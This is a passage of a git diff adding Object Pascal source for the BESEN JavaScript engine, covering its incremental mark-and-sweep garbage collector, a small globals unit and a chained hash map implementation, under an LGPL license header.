begin + n:=GarbageCollectorDependsChildren.FirstKey; + while assigned(n) do begin + if assigned(n^.Key) and assigned(TBESENGarbageCollectorObject(n^.Key).GarbageCollectorDependsParents) then begin + TBESENGarbageCollectorObject(n^.Key).GarbageCollectorDependsParents.Remove(self); + end; + n:=n^.NextKey; + end; + end; +end; + +procedure TBESENGarbageCollectorObject.Mark; +var n:PBESENPointerSelfBalancedTreeNode; +begin + if assigned(GarbageCollectorDependsChildren) then begin + n:=GarbageCollectorDependsChildren.FirstKey; + while assigned(n) do begin + if assigned(n^.Key) then begin + TBESEN(Instance).GarbageCollector.GrayIt(TBESENGarbageCollectorObject(n^.Key)); + end; + n:=n^.NextKey; + end; + end; +end; + +procedure TBESENGarbageCollectorObject.DependsOn(Parent:TBESENGarbageCollectorObject); +var v:TBESENPointerSelfBalancedTreeValue; +begin + if assigned(Parent) then begin + if assigned(GarbageCollectorDependsParents) then begin + v.p:=Parent; + GarbageCollectorDependsParents.Insert(Parent,v); + end; + if assigned(Parent.GarbageCollectorDependsChildren) then begin + v.p:=self; + Parent.GarbageCollectorDependsChildren.Insert(self,v); + end; + end; +end; + +procedure TBESENGarbageCollectorObject.GarbageCollectorWriteBarrier; +begin + TBESEN(Instance).GarbageCollector.GrayIt(self); +end; + +procedure TBESENGarbageCollectorObject.GarbageCollectorLock; +begin + inc(GarbageCollectorLockReferenceCounter); +end; + +procedure TBESENGarbageCollectorObject.GarbageCollectorUnlock; +begin + dec(GarbageCollectorLockReferenceCounter); +end; + +constructor TBESENGarbageCollectorRootObjectList.Create(AInstance:TObject); +begin + inherited Create(AInstance); + Clear; +end; + +destructor TBESENGarbageCollectorRootObjectList.Destroy; +begin + Clear; + inherited Destroy; +end; + +procedure TBESENGarbageCollectorRootObjectList.Clear; +var Item,NextItem:TBESENGarbageCollectorObject; +begin + Item:=First; + while assigned(Item) do begin + NextItem:=Item.GarbageCollectorRootObjectListNext; + Item.GarbageCollectorRootObjectListPrevious:=nil; + Item.GarbageCollectorRootObjectListNext:=nil; + Item:=NextItem; + end; + First:=nil; + Last:=nil; +end; + +procedure TBESENGarbageCollectorRootObjectList.ClearWithFree; +begin + while assigned(First) do begin + First.Free; + end; + Clear; +end; + +procedure TBESENGarbageCollectorRootObjectList.Add(AObject:TBESENGarbageCollectorObject); +begin + if assigned(Last) then begin + Last.GarbageCollectorRootObjectListNext:=AObject; + AObject.GarbageCollectorRootObjectListPrevious:=Last; + AObject.GarbageCollectorRootObjectListNext:=nil; + Last:=AObject; + end else begin + First:=AObject; + Last:=AObject; + end; +end; + +procedure TBESENGarbageCollectorRootObjectList.Remove(AObject:TBESENGarbageCollectorObject); +begin + if assigned(AObject.GarbageCollectorRootObjectListPrevious) then begin + AObject.GarbageCollectorRootObjectListPrevious.GarbageCollectorRootObjectListNext:=AObject.GarbageCollectorRootObjectListNext; + end else if First=AObject then begin + First:=AObject.GarbageCollectorRootObjectListNext; + end; + if assigned(AObject.GarbageCollectorRootObjectListNext) then begin + AObject.GarbageCollectorRootObjectListNext.GarbageCollectorRootObjectListPrevious:=AObject.GarbageCollectorRootObjectListPrevious; + end else if Last=AObject then begin + Last:=AObject.GarbageCollectorRootObjectListPrevious; + end; + AObject.GarbageCollectorRootObjectListNext:=nil; + AObject.GarbageCollectorRootObjectListPrevious:=nil; +end; + +function TBESENGarbageCollectorRootObjectList.Contains(AObject:TBESENGarbageCollectorObject):boolean; +begin + result:=((First=AObject) or (Last=AObject)) or (assigned(AObject.GarbageCollectorRootObjectListNext) or assigned(AObject.GarbageCollectorRootObjectListPrevious)); +end; + +procedure TBESENGarbageCollectorRootObjectList.Push(AObject:TBESENGarbageCollectorObject); +begin + Add(AObject); +end; + +function TBESENGarbageCollectorRootObjectList.Pop:TBESENGarbageCollectorObject; +begin + result:=Last; + if assigned(result) then begin + Remove(result); + end; +end; + +constructor TBESENGarbageCollectorProtectedObjectList.Create(AInstance:TObject); +begin + inherited Create(AInstance); + Clear; +end; + +destructor TBESENGarbageCollectorProtectedObjectList.Destroy; +begin + Clear; + inherited Destroy; +end; + +procedure TBESENGarbageCollectorProtectedObjectList.Clear; +var Item,NextItem:TBESENGarbageCollectorObject; +begin + Item:=First; + while assigned(Item) do begin + NextItem:=Item.GarbageCollectorProtectedObjectListNext; + Item.GarbageCollectorProtectedObjectListPrevious:=nil; + Item.GarbageCollectorProtectedObjectListNext:=nil; + Item:=NextItem; + end; + First:=nil; + Last:=nil; +end; + +procedure TBESENGarbageCollectorProtectedObjectList.ClearWithFree; +begin + while assigned(First) do begin + First.Free; + end; + Clear; +end; + +procedure TBESENGarbageCollectorProtectedObjectList.Add(AObject:TBESENGarbageCollectorObject); +begin + if assigned(Last) then begin + Last.GarbageCollectorProtectedObjectListNext:=AObject; + AObject.GarbageCollectorProtectedObjectListPrevious:=Last; + AObject.GarbageCollectorProtectedObjectListNext:=nil; + Last:=AObject; + end else begin + First:=AObject; + Last:=AObject; + end; +end; + +procedure TBESENGarbageCollectorProtectedObjectList.Remove(AObject:TBESENGarbageCollectorObject); +begin + if assigned(AObject.GarbageCollectorProtectedObjectListPrevious) then begin + AObject.GarbageCollectorProtectedObjectListPrevious.GarbageCollectorProtectedObjectListNext:=AObject.GarbageCollectorProtectedObjectListNext; + end else if First=AObject then begin + First:=AObject.GarbageCollectorProtectedObjectListNext; + end; + if assigned(AObject.GarbageCollectorProtectedObjectListNext) then begin + AObject.GarbageCollectorProtectedObjectListNext.GarbageCollectorProtectedObjectListPrevious:=AObject.GarbageCollectorProtectedObjectListPrevious; + end else if Last=AObject then begin + Last:=AObject.GarbageCollectorProtectedObjectListPrevious; + end; + AObject.GarbageCollectorProtectedObjectListNext:=nil; + AObject.GarbageCollectorProtectedObjectListPrevious:=nil; +end; + +function TBESENGarbageCollectorProtectedObjectList.Contains(AObject:TBESENGarbageCollectorObject):boolean; +begin + result:=((First=AObject) or (Last=AObject)) or (assigned(AObject.GarbageCollectorProtectedObjectListNext) or assigned(AObject.GarbageCollectorProtectedObjectListPrevious)); +end; + +procedure TBESENGarbageCollectorProtectedObjectList.Push(AObject:TBESENGarbageCollectorObject); +begin + Add(AObject); +end; + +function TBESENGarbageCollectorProtectedObjectList.Pop:TBESENGarbageCollectorObject; +begin + result:=Last; + if assigned(result) then begin + Remove(result); + end; +end; + +constructor TBESENGarbageCollectorObjectList.Create(AInstance:TObject); +begin + inherited Create(AInstance); + Clear; +end; + +destructor TBESENGarbageCollectorObjectList.Destroy; +begin + Clear; + inherited Destroy; +end; + +procedure TBESENGarbageCollectorObjectList.Clear; +var Item,NextItem:TBESENGarbageCollectorObject; +begin + Item:=First; + while assigned(Item) do begin + NextItem:=Item.GarbageCollectorObjectListNext; + Item.GarbageCollectorObjectListPrevious:=nil; + Item.GarbageCollectorObjectListNext:=nil; + Item.GarbageCollectorObjectList:=nil; + Item:=NextItem; + end; + First:=nil; + Last:=nil; +end; + +procedure TBESENGarbageCollectorObjectList.ClearWithFree; +begin + while assigned(First) do begin + First.Free; + end; + Clear; +end; + +procedure TBESENGarbageCollectorObjectList.Add(AObject:TBESENGarbageCollectorObject); +begin + if assigned(AObject.GarbageCollectorObjectList) then begin + AObject.GarbageCollectorObjectList.Remove(AObject); + end; + AObject.GarbageCollectorObjectList:=self; + if assigned(Last) then begin + AObject.GarbageCollectorObjectListPrevious:=Last; + Last.GarbageCollectorObjectListNext:=AObject; + end else begin + First:=AObject; + AObject.GarbageCollectorObjectListPrevious:=nil; + end; + AObject.GarbageCollectorObjectListNext:=nil; + Last:=AObject; +end; + +procedure TBESENGarbageCollectorObjectList.Remove(AObject:TBESENGarbageCollectorObject); +begin + if assigned(AObject.GarbageCollectorObjectListPrevious) then begin + AObject.GarbageCollectorObjectListPrevious.GarbageCollectorObjectListNext:=AObject.GarbageCollectorObjectListNext; + end else if First=AObject then begin + First:=AObject.GarbageCollectorObjectListNext; + end; + if assigned(AObject.GarbageCollectorObjectListNext) then begin + AObject.GarbageCollectorObjectListNext.GarbageCollectorObjectListPrevious:=AObject.GarbageCollectorObjectListPrevious; + end else if Last=AObject then begin + Last:=AObject.GarbageCollectorObjectListPrevious; + end; + AObject.GarbageCollectorObjectListNext:=nil; + AObject.GarbageCollectorObjectListPrevious:=nil; + AObject.GarbageCollectorObjectList:=nil; +end; + +function TBESENGarbageCollectorObjectList.Contains(AObject:TBESENGarbageCollectorObject):boolean; +begin + result:=AObject.GarbageCollectorObjectList=self; +end; + +procedure TBESENGarbageCollectorObjectList.Push(AObject:TBESENGarbageCollectorObject); +begin + Add(AObject); +end; + +function TBESENGarbageCollectorObjectList.Pop:TBESENGarbageCollectorObject; +begin + result:=Last; + if assigned(result) then begin + Remove(result); + end; +end; + +constructor TBESENGarbageCollector.Create(AInstance:TObject); +begin + inherited Create(AInstance); + First:=nil; + Last:=nil; + RootObjectList:=TBESENGarbageCollectorRootObjectList.Create(Instance); + ProtectedObjectList:=TBESENGarbageCollectorProtectedObjectList.Create(Instance); + WhiteObjectList:=TBESENGarbageCollectorObjectList.Create(Instance); + GrayObjectList:=TBESENGarbageCollectorObjectList.Create(Instance); + BlackObjectList:=TBESENGarbageCollectorObjectList.Create(Instance); + IsSweeping:=false; + State:=bgcsINIT; + TriggerCounter:=0; + MarkFactor:=BESEN_GC_MARKFACTOR; + TriggerCountPerCollect:=BESEN_GC_TRIGGERCOUNT_PER_COLLECT; + Count:=0; +end; + +destructor TBESENGarbageCollector.Destroy; +begin + Clear; + RootObjectList.Free; + ProtectedObjectList.Free; + WhiteObjectList.Free; + GrayObjectList.Free; + BlackObjectList.Free; + inherited Destroy; +end; + +procedure TBESENGarbageCollector.Clear; +var CurrentObject:TBESENGarbageCollectorObject; +begin + CurrentObject:=First; + while assigned(CurrentObject) do begin + FinalizeObjectForSweeping(CurrentObject); + CurrentObject:=CurrentObject.GarbageCollectorNext; + end; + while assigned(First) do begin + First.Free; + end; + First:=nil; + Last:=nil; + RootObjectList.Clear; + ProtectedObjectList.Clear; + WhiteObjectList.Clear; + GrayObjectList.Clear; + BlackObjectList.Clear; + CurrentRootObject:=nil; + CurrentProtectedObject:=nil; + CurrentMarkObject:=nil; + CurrentSweepObject:=nil; + TriggerCounter:=0; + Count:=0; + State:=bgcsINIT; + IsSweeping:=false; +end; + +procedure TBESENGarbageCollector.Reset; +begin + Flip; + CurrentRootObject:=nil; + CurrentProtectedObject:=nil; + CurrentSweepObject:=nil; + State:=bgcsINIT; +end; + +procedure TBESENGarbageCollector.WhiteIt(AObject:TBESENGarbageCollectorObject); +begin + if assigned(AObject) and not WhiteObjectList.Contains(AObject) then begin + if assigned(AObject.GarbageCollectorObjectList) then begin + AObject.GarbageCollectorObjectList.Remove(AObject); + AObject.GarbageCollectorObjectList:=nil; + end; + WhiteObjectList.Push(AObject); + end; +end; + +procedure TBESENGarbageCollector.ForceGrayIt(AObject:TBESENGarbageCollectorObject); +begin + if assigned(AObject) and not GrayObjectList.Contains(AObject) then begin + if assigned(AObject.GarbageCollectorObjectList) then begin + AObject.GarbageCollectorObjectList.Remove(AObject); + AObject.GarbageCollectorObjectList:=nil; + end; + GrayObjectList.Push(AObject); + end; +end; + +procedure TBESENGarbageCollector.GrayIt(AObject:TBESENGarbageCollectorObject); +begin + if assigned(AObject) and not (GrayObjectList.Contains(AObject) or BlackObjectList.Contains(AObject)) then begin + if assigned(AObject.GarbageCollectorObjectList) then begin + AObject.GarbageCollectorObjectList.Remove(AObject); + AObject.GarbageCollectorObjectList:=nil; + end; + GrayObjectList.Push(AObject); + end; +end; + +procedure TBESENGarbageCollector.BlackIt(AObject:TBESENGarbageCollectorObject); +begin + if assigned(AObject) and not BlackObjectList.Contains(AObject) then begin + if assigned(AObject.GarbageCollectorObjectList) then begin + AObject.GarbageCollectorObjectList.Remove(AObject); + AObject.GarbageCollectorObjectList:=nil; + end; + BlackObjectList.Push(AObject); + end; +end; + +procedure TBESENGarbageCollector.Protect(AObject:TBESENGarbageCollectorObject); +begin + AddProtected(AObject); +end; + +procedure TBESENGarbageCollector.Unprotect(AObject:TBESENGarbageCollectorObject); +begin + RemoveProtected(AObject); +end; + +procedure TBESENGarbageCollector.GrayValue(var Value:TBESENValue); +begin + case Value.ValueType of + bvtOBJECT:begin + if assigned(Value.Obj) then begin + GrayIt(TBESENObject(Value.Obj)); + end; + end; + bvtREFERENCE:begin + case Value.ReferenceBase.ValueType of + brbvtOBJECT:begin + if assigned(Value.ReferenceBase.Obj) then begin + GrayIt(TBESENObject(Value.ReferenceBase.Obj)); + end; + end; + brbvtENVREC:begin + if assigned(Value.ReferenceBase.EnvRec) then begin + GrayIt(TBESENEnvironmentRecord(Value.ReferenceBase.EnvRec)); + end; + end; + end; + end; + end; +end; + +procedure TBESENGarbageCollector.FinalizeValue(var Value:TBESENValue); +begin + Value:=BESENEmptyValue; +end; + +procedure TBESENGarbageCollector.Mark(AObject:TBESENGarbageCollectorObject); +begin + if assigned(AObject) then begin + AObject.Mark; + end; +end; + +procedure TBESENGarbageCollector.FinalizeObjectForSweeping(AObject:TBESENGarbageCollectorObject); +begin + if assigned(AObject) then begin + AObject.Finalize; + end; +end; + +procedure TBESENGarbageCollector.Flip; +var TempObjectList:TBESENGarbageCollectorObjectList; +begin + TempObjectList:=WhiteObjectList; + WhiteObjectList:=BlackObjectList; + BlackObjectList:=TempObjectList; +end; + +procedure TBESENGarbageCollector.TriggerCollect; +begin + inc(TriggerCounter); + if TriggerCounter>=TriggerCountPerCollect then begin + TriggerCounter:=0; + Collect; + end; +end; + +function TBESENGarbageCollector.Collect:boolean; +var i:integer; + MarkCount:int64; + Current:PBESENPointerSelfBalancedTreeNode; + Node:TBESENASTNodeProgram; + NextObject:TBESENGarbageCollectorObject; +begin + result:=false; + while true do begin + case State of + bgcsINIT:begin + State:=bgcsMARKROOTS; + CurrentRootObject:=RootObjectList.First; + end; + bgcsMARKROOTS:begin + result:=false; + MarkCount:=(MarkFactor*Count) div 256; + if MarkCount<256 then begin + MarkCount:=256; + end else if MarkCount>$7fffffff then begin + MarkCount:=$7fffffff; + end; + for i:=1 to MarkCount do begin + if assigned(CurrentRootObject) then begin + BlackIt(CurrentRootObject); + Mark(CurrentRootObject); + CurrentRootObject:=CurrentRootObject.GarbageCollectorRootObjectListNext; + result:=assigned(CurrentRootObject); + end else begin + break; + end; + end; + if result then begin + break; + end else begin + CurrentProtectedObject:=ProtectedObjectList.First; + State:=bgcsMARKPROTECTED; + end; + end; + bgcsMARKPROTECTED:begin + result:=false; + MarkCount:=(MarkFactor*Count) div 256; + if MarkCount<256 then begin + MarkCount:=256; + end else if MarkCount>$7fffffff then begin + MarkCount:=$7fffffff; + end; + for i:=1 to MarkCount do begin + if assigned(CurrentProtectedObject) then begin + BlackIt(CurrentProtectedObject); + Mark(CurrentProtectedObject); + CurrentProtectedObject:=CurrentProtectedObject.GarbageCollectorProtectedObjectListNext; + result:=assigned(CurrentProtectedObject); + end else begin + break; + end; + end; + if result then begin + break; + end else begin + State:=bgcsMARKPROGRAMNODES; + end; + end; + bgcsMARKPROGRAMNODES:begin + Current:=TBESEN(Instance).ProgramNodes.FirstKey; + while assigned(Current) do begin + Node:=TBESENASTNodeProgram(Current^.Key); + if assigned(Node) and assigned(Node.Body) and assigned(Node.Body.Code) then begin + TBESENCode(Node.Body.Code).Mark; + end; + Current:=Current^.NextKey; + end; + CurrentContext:=TBESEN(Instance).ContextFirst; + State:=bgcsMARKCONTEXTS; + end; + bgcsMARKCONTEXTS:begin + result:=false; + while assigned(CurrentContext) do begin + TBESENContext(CurrentContext).Mark; + CurrentContext:=TBESENContext(CurrentContext).Next; + result:=assigned(CurrentContext); + end; + if result then begin + break; + end else begin + State:=bgcsMARKGRAYS; + end; + end; + bgcsMARKGRAYS:begin + result:=false; + MarkCount:=(MarkFactor*Count) div 256; + if MarkCount<256 then begin + MarkCount:=256; + end else if MarkCount>$7fffffff then begin + MarkCount:=$7fffffff; + end; + for i:=1 to MarkCount do begin + CurrentMarkObject:=GrayObjectList.Pop; + if assigned(CurrentMarkObject) then begin + Mark(CurrentMarkObject); + BlackIt(CurrentMarkObject); + result:=assigned(GrayObjectList.Last); + end else begin + break; + end; + end; + if result then begin + break; + end else begin + CurrentSweepObject:=WhiteObjectList.First; + State:=bgcsSWEEPWHITES; + end; + end; + bgcsSWEEPWHITES:begin + while assigned(CurrentSweepObject) do begin + NextObject:=CurrentSweepObject.GarbageCollectorObjectListNext; + if (CurrentSweepObject.GarbageCollectorLockReferenceCounter>0) or ProtectedObjectList.Contains(CurrentSweepObject) then begin + GrayIt(CurrentSweepObject); + end; + CurrentSweepObject:=NextObject; + end; + if assigned(GrayObjectList.First) then begin + State:=bgcsMARKGRAYS; + end else begin + CurrentSweepObject:=WhiteObjectList.First; + if assigned(CurrentSweepObject) then begin + while assigned(CurrentSweepObject) do begin + FinalizeObjectForSweeping(CurrentSweepObject); + CurrentSweepObject:=CurrentSweepObject.GarbageCollectorObjectListNext; + end; + while assigned(WhiteObjectList.First) do begin + IsSweeping:=true; + WhiteObjectList.First.Free; + IsSweeping:=false; + end; + end; + State:=bgcsDONE; + end; + end; + bgcsDONE:begin + Flip; + State:=bgcsINIT; + result:=false; + break; + end; + end; + end; +end; + +procedure TBESENGarbageCollector.CollectAll; +begin + while Collect do begin + end; +end; + +procedure TBESENGarbageCollector.Use(AObject:TBESENGarbageCollectorObject); +begin + ForceGrayIt(AObject); +end; + +procedure TBESENGarbageCollector.Add(AObject:TBESENGarbageCollectorObject); +begin + GrayIt(AObject); +end; + +procedure TBESENGarbageCollector.AddRoot(AObject:TBESENGarbageCollectorObject); +begin + RootObjectList.Add(AObject); + State:=bgcsINIT; +end; + +procedure TBESENGarbageCollector.RemoveRoot(AObject:TBESENGarbageCollectorObject); +begin + State:=bgcsINIT; + if RootObjectList.Contains(AObject) then begin + RootObjectList.Remove(AObject); + ForceGrayIt(AObject); + end; +end; + +procedure TBESENGarbageCollector.AddProtected(AObject:TBESENGarbageCollectorObject); +begin + GrayIt(AObject); + ProtectedObjectList.Add(AObject); + State:=bgcsINIT; +end; + +procedure TBESENGarbageCollector.RemoveProtected(AObject:TBESENGarbageCollectorObject); +begin + State:=bgcsINIT; + if ProtectedObjectList.Contains(AObject) then begin + ProtectedObjectList.Remove(AObject); + ForceGrayIt(AObject); + end; +end; + +procedure TBESENGarbageCollector.LockObject(Obj:TBESENGarbageCollectorObject); +begin + if assigned(Obj) then begin + Obj.GarbageCollectorLock; + end; +end; + +procedure TBESENGarbageCollector.UnlockObject(Obj:TBESENGarbageCollectorObject); +begin + if assigned(Obj) then begin + Obj.GarbageCollectorUnlock; + end; +end; + +procedure TBESENGarbageCollector.LockValue(const Value:TBESENValue); +begin + case Value.ValueType of + bvtOBJECT:begin + if assigned(Value.Obj) then begin + LockObject(TBESENObject(Value.Obj)); + end; + end; + bvtREFERENCE:begin + case Value.ReferenceBase.ValueType of + brbvtOBJECT:begin + if assigned(Value.ReferenceBase.Obj) then begin + LockObject(TBESENObject(Value.ReferenceBase.Obj)); + end; + end; + brbvtENVREC:begin + if assigned(Value.ReferenceBase.EnvRec) then begin + LockObject(TBESENEnvironmentRecord(Value.ReferenceBase.EnvRec)); + end; + end; + end; + end; + end; +end; + +procedure TBESENGarbageCollector.UnlockValue(const Value:TBESENValue); +begin + case Value.ValueType of + bvtOBJECT:begin + if assigned(Value.Obj) then begin + UnlockObject(TBESENObject(Value.Obj)); + end; + end; + bvtREFERENCE:begin + case Value.ReferenceBase.ValueType of + brbvtOBJECT:begin + if assigned(Value.ReferenceBase.Obj) then begin + UnlockObject(TBESENObject(Value.ReferenceBase.Obj)); + end; + end; + brbvtENVREC:begin + if assigned(Value.ReferenceBase.EnvRec) then begin + UnlockObject(TBESENEnvironmentRecord(Value.ReferenceBase.EnvRec)); + end; + end; + end; + end; + end; +end; + +end. diff --git a/Core/JS/BESENGlobals.pas b/Core/JS/BESENGlobals.pas new file mode 100644 index 0000000..60fb6e4 --- /dev/null +++ b/Core/JS/BESENGlobals.pas @@ -0,0 +1,42 @@ +(******************************************************************************* + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: + Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +unit BESENGlobals; +{$i BESEN.inc} + +interface + +uses BESENConstants,BESENTypes; + +var BESENLengthHash:TBESENHash; + +implementation + +end. diff --git a/Core/JS/BESENHashMap.pas b/Core/JS/BESENHashMap.pas new file mode 100644 index 0000000..637ddde --- /dev/null +++ b/Core/JS/BESENHashMap.pas @@ -0,0 +1,308 @@ +(******************************************************************************* + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: + Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +unit BESENHashMap; +{$i BESEN.inc} + +interface + +uses BESENConstants,BESENTypes,BESENStringUtils,BESENHashUtils; + +type PBESENHashMapItem=^TBESENHashMapItem; + TBESENHashMapItem=record + Previous,Next,HashPrevious,HashNext:PBESENHashMapItem; + Hash:TBESENHash; + Key:TBESENString; + Value:int64; + Ptr:pointer; + end; + + TBESENHashMapHashBucket=record + HashFirst,HashLast:PBESENHashMapItem; + end; + + TBESENHashMapHashBuckets=array of TBESENHashMapHashBucket; + + TBESENHashMap=class + private + LastUsedItem:PBESENHashMapItem; + procedure GrowAndRehashIfNeeded; + public + First,Last:PBESENHashMapItem; + HashBuckets:TBESENHashMapHashBuckets; + HashSize:longword; + HashSizeMask:longword; + HashedItems:longword; + HashBucketsUsed:longword; + constructor Create; + destructor Destroy; override; + procedure Clear; + function GetKey(const Key:TBESENString;Hash:TBESENHash=0):PBESENHashMapItem; + function NewKey(const Key:TBESENString;Force:boolean=false;Hash:TBESENHash=0):PBESENHashMapItem; + function DeleteKey(const Item:PBESENHashMapItem):TBESENBoolean; + end; + +implementation + +constructor TBESENHashMap.Create; +var Hash:TBESENHash; +begin + inherited Create; + FillChar(HashBuckets,sizeof(TBESENHashMapHashBuckets),#0); + First:=nil; + Last:=nil; + HashSize:=256; + HashSizeMask:=HashSize-1; + HashedItems:=0; + HashBucketsUsed:=0; + HashBuckets:=nil; + SetLength(HashBuckets,HashSize); + for Hash:=0 to HashSizeMask do begin + HashBuckets[Hash].HashFirst:=nil; + HashBuckets[Hash].HashLast:=nil; + end; + LastUsedItem:=nil; +end; + +destructor TBESENHashMap.Destroy; +begin + Clear; + SetLength(HashBuckets,0); + inherited Destroy; +end; + +procedure TBESENHashMap.Clear; +var Hash:TBESENHash; + Item,NextItem:PBESENHashMapItem; +begin + Item:=First; + while assigned(Item) do begin + NextItem:=Item^.Next; + Item^.Next:=nil; + Item^.Key:=''; + Dispose(Item); + Item:=NextItem; + end; + First:=nil; + Last:=nil; + LastUsedItem:=nil; + HashSize:=256; + HashSizeMask:=HashSize-1; + HashedItems:=0; + HashBucketsUsed:=0; + SetLength(HashBuckets,HashSize); + for Hash:=0 to HashSizeMask do begin + HashBuckets[Hash].HashFirst:=nil; + HashBuckets[Hash].HashLast:=nil; + end; +end; + +procedure TBESENHashMap.GrowAndRehashIfNeeded; +var Hash:TBESENHash; + Item:PBESENHashMapItem; +begin + if (HashSize<BESENHashMaxSize) and (HashedItems>=(HashBucketsUsed*BESENHashItemsPerBucketsThreshold)) then begin + LastUsedItem:=nil; + for Hash:=0 to HashSizeMask do begin + HashBuckets[Hash].HashFirst:=nil; + HashBuckets[Hash].HashLast:=nil; + end; + inc(HashSize,HashSize); + if HashSize>BESENHashMaxSize then begin + HashSize:=BESENHashMaxSize; + end; + HashSizeMask:=HashSize-1; + SetLength(HashBuckets,HashSize); + for Hash:=0 to HashSizeMask do begin + HashBuckets[Hash].HashFirst:=nil; + HashBuckets[Hash].HashLast:=nil; + end; + HashedItems:=0; + Item:=First; + while assigned(Item) do begin + inc(HashedItems); + Item^.HashPrevious:=nil; + Item^.HashNext:=nil; + Item:=Item^.Next; + end; + HashBucketsUsed:=0; + Item:=First; + while assigned(Item) do begin + Hash:=BESENHashKey(Item^.Key) and HashSizeMask; + Item^.Hash:=Hash; + if assigned(HashBuckets[Hash].HashLast) then begin + HashBuckets[Hash].HashLast^.HashNext:=Item; + Item^.HashPrevious:=HashBuckets[Hash].HashLast; + HashBuckets[Hash].HashLast:=Item; + Item^.HashNext:=nil; + end else begin + inc(HashBucketsUsed); + HashBuckets[Hash].HashFirst:=Item; + HashBuckets[Hash].HashLast:=Item; + Item^.HashPrevious:=nil; + Item^.HashNext:=nil; + end; + Item:=Item^.Next; + end; + end; +end; + +function TBESENHashMap.GetKey(const Key:TBESENString;Hash:TBESENHash=0):PBESENHashMapItem; +begin + if assigned(LastUsedItem) and (LastUsedItem^.Key=Key) then begin + result:=LastUsedItem; + Hash:=result^.Hash; + end else begin + if Hash=0 then begin + Hash:=BESENHashKey(Key); + end; + Hash:=Hash and HashSizeMask; + result:=HashBuckets[Hash].HashFirst; + while assigned(result) and (result^.Key<>Key) do begin + result:=result^.HashNext; + end; + end; + if assigned(result) then begin + LastUsedItem:=result; + if HashBuckets[Hash].HashFirst<>result then begin + if assigned(result^.HashPrevious) then begin + result^.HashPrevious^.HashNext:=result^.HashNext; + end; + if assigned(result^.HashNext) then begin + result^.HashNext^.HashPrevious:=result^.HashPrevious; + end else if HashBuckets[Hash].HashLast=result then begin + HashBuckets[Hash].HashLast:=result^.HashPrevious; + end; + HashBuckets[Hash].HashFirst^.HashPrevious:=result; + result^.HashNext:=HashBuckets[Hash].HashFirst; + result^.HashPrevious:=nil; + HashBuckets[Hash].HashFirst:=result; + end; + end; +end; + +function TBESENHashMap.NewKey(const Key:TBESENString;Force:boolean=false;Hash:TBESENHash=0):PBESENHashMapItem; +begin + if Force then begin + result:=nil; + if Hash=0 then begin + Hash:=BESENHashKey(Key); + end; + Hash:=Hash and HashSizeMask; + end else if assigned(LastUsedItem) and (LastUsedItem^.Key=Key) then begin + result:=LastUsedItem; + Hash:=result^.Hash; + end else begin + if Hash=0 then begin + Hash:=BESENHashKey(Key); + end; + Hash:=Hash and HashSizeMask; + result:=HashBuckets[Hash].HashFirst; + if not assigned(result) then begin + inc(HashBucketsUsed); + end; + while assigned(result) and not (result^.Key<>Key) do begin + result:=result^.HashNext; + end; + end; + if not assigned(result) then begin + inc(HashedItems); + New(result); + fillchar(result^,sizeof(TBESENHashMapItem),#0); + result^.Hash:=Hash; + result^.Key:=Key; + if assigned(HashBuckets[Hash].HashLast) then begin + HashBuckets[Hash].HashLast^.HashNext:=result; + result^.HashPrevious:=HashBuckets[Hash].HashLast; + result^.HashNext:=nil; + HashBuckets[Hash].HashLast:=result; + end else begin + HashBuckets[Hash].HashFirst:=result; + HashBuckets[Hash].HashLast:=result; + result^.HashPrevious:=nil; + result^.HashNext:=nil; + end; + if assigned(Last) then begin + Last^.Next:=result; + result^.Previous:=Last; + result^.Next:=nil; + Last:=result; + end else begin + First:=result; + Last:=result; + result^.Previous:=nil; + result^.Next:=nil; + end; + LastUsedItem:=result; + end; + GrowAndRehashIfNeeded; +end; + +function TBESENHashMap.DeleteKey(const Item:PBESENHashMapItem):TBESENBoolean; +begin + result:=assigned(Item); + if result then begin + if LastUsedItem=Item then begin + if assigned(Item^.Next) then begin + LastUsedItem:=Item^.Next; + end else begin + LastUsedItem:=Item^.Previous; + end; + end; + if assigned(Item^.Previous) then begin + Item^.Previous^.Next:=Item^.Next; + end else if First=Item then begin + First:=Item^.Next; + end; + if assigned(Item^.Next) then begin + Item^.Next^.Previous:=Item^.Previous; + end else if Last=Item then begin + Last:=Item^.Previous; + end; + Item^.Next:=nil; + Item^.Previous:=nil; + if assigned(Item^.HashPrevious) then begin + Item^.HashPrevious^.HashNext:=Item^.HashNext; + end else if HashBuckets[Item^.Hash].HashFirst=Item then begin + HashBuckets[Item^.Hash].HashFirst:=Item^.HashNext; + end; + if assigned(Item^.HashNext) then begin + Item^.HashNext^.HashPrevious:=Item^.HashPrevious; + end else if HashBuckets[Item^.Hash].HashLast=Item then begin + HashBuckets[Item^.Hash].HashLast:=Item^.HashPrevious; + end; + Item^.HashNext:=nil; + Item^.HashPrevious:=nil; + Item^.Key:=''; + Dispose(Item); + end; +end; + +end. diff --git a/Core/JS/BESENHashUtils.pas b/Core/JS/BESENHashUtils.pas new file mode 100644 index 0000000..e5eea2c --- /dev/null +++ b/Core/JS/BESENHashUtils.pas @@ -0,0 +1,59 